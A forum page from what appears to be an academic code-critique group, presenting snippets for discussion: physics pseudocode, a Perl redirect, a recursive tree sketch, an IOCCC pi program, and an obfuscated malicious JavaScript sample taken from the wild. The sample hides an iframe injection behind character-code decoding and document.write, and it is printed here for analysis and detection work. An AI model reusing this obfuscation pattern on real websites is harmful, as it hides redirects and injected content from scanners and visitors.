Welcome to the Code Critique forum. Here we are focusing on reading and critiquing specific code snippets. To get the discussion started, your hosts have chosen 5 programs to analyze, ranging across the uses (and abuses) of computer programing.

The first example belongs to the original use of computers, i.e. solving mathematical equations too complex or time consuming to be done by hand with the desired data set. This C++ program models the Schroedinger Equation, which describes how the quantum state of a physical system changes in time. Do not be alarmed. You do not have to have a background in physics or higher mathematics to appreciate the implications of scientific analysis based on crunching large amounts of data and how a computer program privileges certain results. Screenshots are available as well as the extremely interesting pseudo-code which describes how the program is supposed to work using a hybrid syntax of English and code.

Next we have two examples of obfuscated code; code which has been intentionally altered to obscure its meaning, either as a brain-teaser or to hide malware from virus scanners and users. Representing the brain-teasers, we have a visually intriguing and arithmetically simple (if tedious) method for getting the first four digits of pi. The malware example redirects you to a malicious website.

The fourth snippet is a single line of Perl used to redirect a website (hopefully for beneficial or at least more transparent purposes). Let your imagination run wild on all the little bits of mundane code that structure and direct our internet experiences.

Finally, we have a program that draws randomly generated recursive trees (in the mathematical and arboreal sense). The code itself is an exemplar of logical elegance as are the fleeting images it generates. Coincidence? I think not.

So these are our examples. Feel free to refer to these examples in your initial posts, but we also encourage you to contribute snippets that you're interested in reading in a group setting.

Here are some potential questions to ask while critically reading code:
  • At the "global" level: What's the history and context of the code/program? What’s the purpose of the software? Who wrote it? Who funded it? Who developed it, extended it, maintained it?
  • At the platform level: How do constraints of the platform impact the shape and performance of the code?
  • At the program level: What language was it written in, and why? What is the programming paradigm? What libraries does it draw upon?
  • At the character level: How do the individual and strings of characters combine to make meaning? What resonances do the signs have with other sign systems including natural language?
  • At the code level: Is code ugly or beautiful? Does it matter and why? Is the code efficient in achieving its goal (in building databases, in performing textual markups, in aggregating data online, etc)
  • How does one's choice of programming environment influence the coding/reading experiences?

Let the revels begin!

EXAMPLE #1: by ___

Atomic Physics: Time-Independent Schroedinger Equation Modelling of Periodic One Atoms Using the Bisectional Method. The 'DOS' and 'Windows' versions are provided.
I was hoping that discussing some snippets of code from here (even though we can link to the entire code) can show how hybrid code is used as a way of privileging the outcome and the efficiency of outcome in certain aspects of scientific computing. Of course, this is not like a very good code (it is after all the outcome of a 4-month project) but one can see how it crunches out data and then visualizes that data from one simple mathematical derivation.
Snapshots of the interface produced from the code

Also, a selection of pseudocode used to design the program

<Header Files>
eq_1.png, eq_2.png

Function Module for Opening DataFiles when running programme
entering max filename character size;
inputting filename to be opened;
inserting error checking in opening file
Set format for output of numbers;
Module Function for Central Potential (V screening)
switch structure is used
N= 1:
break because hydrogen has no V screening effect.
N= 2:
c=0.056; (c being the parameter of each of these alkali atoms)
N= 3:
N= 4
N =5;
N = 6:
Using two different V-screen formulas depending on whether r eq_3.pngor r >c;
return V-screen;

Module Function for Coulomb Potential
received passed values from main;
declarationg of variables and arrays;
setting boundary values for the V Potential;
Formatting to output;
Iterating of V Potential;
Return values to main;
Module Function for Iteration of trial energy (main core of the bisection method)
declare variables;
received passed values from main function and Eigenvalue module;
set selection structure with looping structure for iteration of E + DELTA E (energy step size) or
Hydrogen---->Z =1;
Lithium ----> Z = 3;
Natrium---->Z = 11;
Potassium----> Z = 19;
Rubidium----> Z = 37;
Cesium-----> Z = 55;
E –(DELTA E)/2 depending on the sign of the product of two wavefunctions being positive or negative;
return E energy;
Module Function for Eigenvalue(trial energy)
received passed values from main;
declare variables and arrays;
set selection structure for trial energy;
define constants for the Schroedinger Time Independent equation;
set boundary values for first set of wavefunction;
assign sum of wavefunctions to a variable;
repeat the steps for the second set by setting now the trial energy to + DELTA E;
do-while looping{
same steps repeated for the third set but this time the function for Iteration is called;
passed values from Eigenvalue to Iteration function;
when eigenvalue begins to converge, set a function that allows halving of DELTA_E until the final stage of convergence;
to test for opposite or similar signs, assign a variable to the multiplication of u[i]_previous and u[i]_next;
input tolerance level to set the scale of accuracy;
set formatting for the output on the file;
set error check for selection structure;
return 0;
Module Function for graphing utility
set x scaling, y scaling;
set max x, min x, max y, min y;
set iteration for max x ,minx ,max y, min y for pixel width setting;
set type of graphs and refresh mode;
set graph plotting function;

Main Function
declare variables;
set formatting;
list names of atoms;
Received input from users for filename , angular momentum, step size of radial increment, number of iteration, trial energy and step size of energy;
call function Eigenvalue;
format output style;
close data file;
close programme;


A Single line of Perl -- Jean Bauer

print "Location: http://www.thenewurl.com", "\n\n";
This line will redirect a website. Discussing it would get us into issues of brevity/simplicity in programing (and programing examples) as well as the dynamic nature webpages (even static ones), the ephemerality of web content (should this lead to archiving the web?), questions of direction and navigation between pages (what is voluntary and what is imposed), and so on.

Visualization Code -- Jean Bauer

This is a really cool example of elegant, recursive code. It is written by Mitchell Whitelaw in Processing and draws a randomly generated tree. Head over to http://www.openprocessing.org/visuals/?visualID=8752# to see it in action.

I think this program could let us talk about the aesthetics both of the code itself and what it generates. There is an interesting link (I think) between the simplicity of the lines below and the beauty of the drawings they create. Perhaps, getting into the the mind of the "programmer as artist."

void setup()

void draw()

void branch(int depth){
if (depth < 12) {

if (random(1.0) < 0.6){ branching
branch(depth + 1);
branch(depth + 1);
else { continue

void mouseReleased(){


Obfuscated code examples - Peter Likarish

My interest is in the analysis of obfuscated code, particularly malicious obfuscated code. I have some examples of malicious javascript I'm interested in using. I'm pasting one example below. I'm very interested in people's ideas of ways to approach obfuscated code. I noted in the discussion chaired by Mark Marino at CCSWG 2010 (http://www.electronicbookreview.com/thread/firstperson/coded) that he analyzed the annakournikova virus. However, the focus seems to have been on the code itself rather than the transition from obfuscated to benign, which is what I'm interested in. I'm reposting this text as a discussion element as well. If anyone has ideas please respond there and we can discuss.

*First off, I can only offer a partial opinion, since I don't know what this code actually does. But it strikes me that this may not be the best example of obfuscated code as an interesting text; in fact if I had to guess this code was run through an obfuscator rather than lovingly hand-crafted. Now that in and of itself may be of some interest, especially when we consider the question of why the author decided to obfuscate it, but I don't think you're going to be able to extract any deeper meaning simply by examining the code. In addition, anyone looking for good examples of obfuscated code should head over to the International Obfuscated C Code Contest --Richard

Richard - I'm aware of the obfuscated C code contest. I'm not actually that interested in it. This is code that exists in the wild. The intention of it isn't to show off how well someone can code/how much they know about C but how one can avoid detection. The reason I find it fascinating is it usually tends to do something incredibly simple, something that'd take one or two lines to do. I've worked on detecting this type of attack. Feel free to suggest (add'l) code from IOCCC but I think you're interested in it for a different reason than I am. Maybe the contrast between the two could be interesting, though. --Peter

var kBcbixsouogTfIchnyMH = "kV60kV105kV102kV114kV97kV109kV101kV32kV119kV105kV100kV116kV104kV61kV34kV52kV56kV48kV34kV32kV
102kV114kV97kV109kV101kV62";var FVxOkuVZcmEMnhoVehKZ = kBcbixsouogTfIchnyMH.split("kV");var VqsBzVjmTvtZRroBmJaO = "";for (var wfbjMQFrxPQSGJUFeDry=1; wfbjMQFrxPQSGJUFeDry<FVxOkuVZcmEMnhoVehKZ.length; wfbjMQFrxPQSGJUFeDry++){VqsBzVjmTvtZRroBmJaO+=String.fromCharCode(FVxOkuVZcmEMnhoVehKZ[wfbjMQFrxPQSGJUFeDry]);}var MNwVKuSOmaiBMmiNFikT = ""+VqsBzVjmTvtZRroBmJaO+"";document.write(""+MNwVKuSOmaiBMmiNFikT+"")

Image for above code:

Obfuscated code example - Richard Mehlinger

From http://www.ioccc.org/1988/westley.c; makefile: http://www.ioccc.org/1988/Makefile; hint: http://www.ioccc.org/1988/westley.hint

This program calculates pi using its own shape and, I believe, a Monte Carlo method; so help me, I have absolutely no idea how. Anyway, I think this would be a sample for CCS to take a look at (assuming someone hasn't already).

-That's a really cool example Richard, I'll see if I can make sense of how it works... I checked it out, it needs a specialized C compiler rather than gcc to operate. Sorry but I'm not installing an alternate compiler just to run it :) The question this raises in my mind: is there a difference between benign (below example) and malicious (above) obfuscated code due to the intentions of the author? --Peter

**So, for fun I decided to decipher this. It's not a Monte Carlo method at all; in fact it's very simple. The author takes an extremely long time and uses very obfuscated code to repeatedly decrement F and OO from 0. In fact, most of the code consists of OR statements, the latter half of which is short circuited and thus never executes. The code then outputs 4 * F/(OO*OO). When I calculated it out by hand, I got F = 200 and OO = 15, for an output of 3.555, which isn't quite pi, because I miscalculated the very first step and so decremented each variable 1 less than I should have. In fact, F = 201 and OO = 16, giving an output of 3.141. --Richard
Image for below: Picture_5.png

#define _ -F<00||--F-OO--;
int F=00,OO=00;main(){F_OO();printf("%1.3f\n",4.*-F/OO/OO);}F_OO()